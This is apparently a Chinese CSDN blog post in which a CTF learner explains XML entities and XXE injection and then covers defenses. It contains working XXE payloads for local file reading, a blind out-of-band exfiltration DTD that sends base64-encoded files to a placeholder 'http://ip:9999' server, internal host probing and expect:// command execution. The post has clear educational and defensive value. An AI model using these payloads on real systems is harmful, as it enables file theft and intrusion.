XXE初识

前言

最近在玩的ctf都有一个题是xxe漏洞,没见过没学习过,感觉一脸懵逼。。。课后赶紧来学习一波。。。

简介

XXE(XML External Entity Injection) 全称为 XML 外部实体注入。实际上就是XML外部实体注入。重点就在外部实体。
首先,我们需要对XML有一定的了解。

XML基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
详细的内容可以参考:XML——XML介绍和基本语法
XML 教程

XMl基本语法

一个XML文件分为如下几部分内容:

  1. 文档声明
  2. 元素
  3. 属性
  4. 注释
  5. CDATA区、特殊字符
  6. 处理指令(processing instruction)

这里说一下CDATA,是为了传输带有< > ' "这些字符的字符串内容,CDATA里的字符串不会被解析引擎解析。格式:

<![CDATA[
 ......
]]>
内部的 DOCTYPE 声明

XML文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition):

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE user [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT user (name,age,sex,saying)>  <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)>   <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)>   <!--定义saying元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

这个 DTD 就定义了 XML 的根元素是user,然后根元素下面有一些子元素。

外部文档声明

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。例如:DTD 位于 XML 源文件的外部,它应特定的语法被封装在一个 DOCTYPE 定义里。

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

它包含的DTD的“user.dtd”:

<!ELEMENT user (name,age,sex,saying)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT saying (#PCDATA)>
XML实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
XML中的实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。
外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

实体类别介绍

参数实体用% 实体名称申明,引用时也用% 实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用
内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI"><!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

参数实体:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

内部实体实例:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY name "alex">]>
<foo>
        <value>&name;</value> 
</foo>

这里定义元素为 ANY 说明接受任何元素,使用 &name; 对 上面定义的name实体进行了引用,到时候输出的时候 &name; 就会被 “alex” 替换。

外部实体实例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
    <user>&xxe;</user>
    <pass>mypass</pass>
</foo>

参数实体实例:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

xml在不同环境下支持的协议:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EA99RsJ6-1588596102683)(https://s2.ax1x.com/2020/02/12/17JCz6.gif)]

XXE实例

实验一(有回显)

环境xxe.php:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&xxe;</creds>

我们成功的读到了system.ini里的东西。但是存在一个问题,system.ini里面没有特殊符号,但是我们尝试读一个有特殊符号的文件,发现报错了。
这里就要用到"<![CDATA["和 “]]>”。但是xml不支持字符串拼接。也不能直接进行多个实体连续引用的方法。
我们需要在DTD中拼接,再在xml中调用。所以要用到参数实体。
所以payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % xxe SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd:

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%xxe;%end;">

实验二(无回显)

我们都知道服务器上的XML就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类。所以我们要依靠外带的方法。
环境xxe.php:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

payload:
在自己服务器上创建:test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

这里的编码也是为了不破坏原本的XML语法。
发送:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

其他协议:
PHP在安装扩展以后还能支持的协议:
1HC4BD.png

HTTP 内网主机探测

当我们发现有存在XXE的服务器的时候,可以通过file协议或者php伪协议读取一些配置文件,同样可以用http协议来探测存活的主机,我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/hosts来看看是否存在内网,和内网的网段是什么。
常用的payload:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.10.10.1">
]>
<test>&file;</test>

通常我是用bp来探测。同样也可以用来探测内网开放的主机的端口。

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

由于java还不会,所以就先总结到这吧。

XXE 如何防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

一些绕过过滤的方法可以参考:xxe笔记
参考:一篇文章带你深入理解漏洞之 XXE 漏洞
XXE漏洞攻防

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab XXE是一个关于XML注入(XXE)的培训平台,它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞,利用XML解析器对外部实体的处理不当,使攻击者能够读取本地文件、执行远程请求等。通过学习和实践,可以帮助开发人员和安全专家了解并防范XXE漏洞的风险。在PentesterLab XXE的课程中,可以学习到XXE漏洞的原理、漏洞代码编写、利用任意文件读取等技术,以及防御XXE漏洞的策略。对于防御XXE漏洞,可以采取禁用外部实体加载的方法,如在PHP中使用libxml_disable_entity_loader(true),在Java中使用setExpandEntityReferences(false),在Python中使用etree.XMLParser(resolve_entities=False)等。此外,对用户提交的XML数据进行过滤,过滤掉可能存在XXE漏洞的关键词,如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等。通过学习和实践,可以提高对XXE漏洞的识别能力和防御能力。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [XML 外部实体注入---XXE](https://blog.csdn.net/weixin_45677145/article/details/111638708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值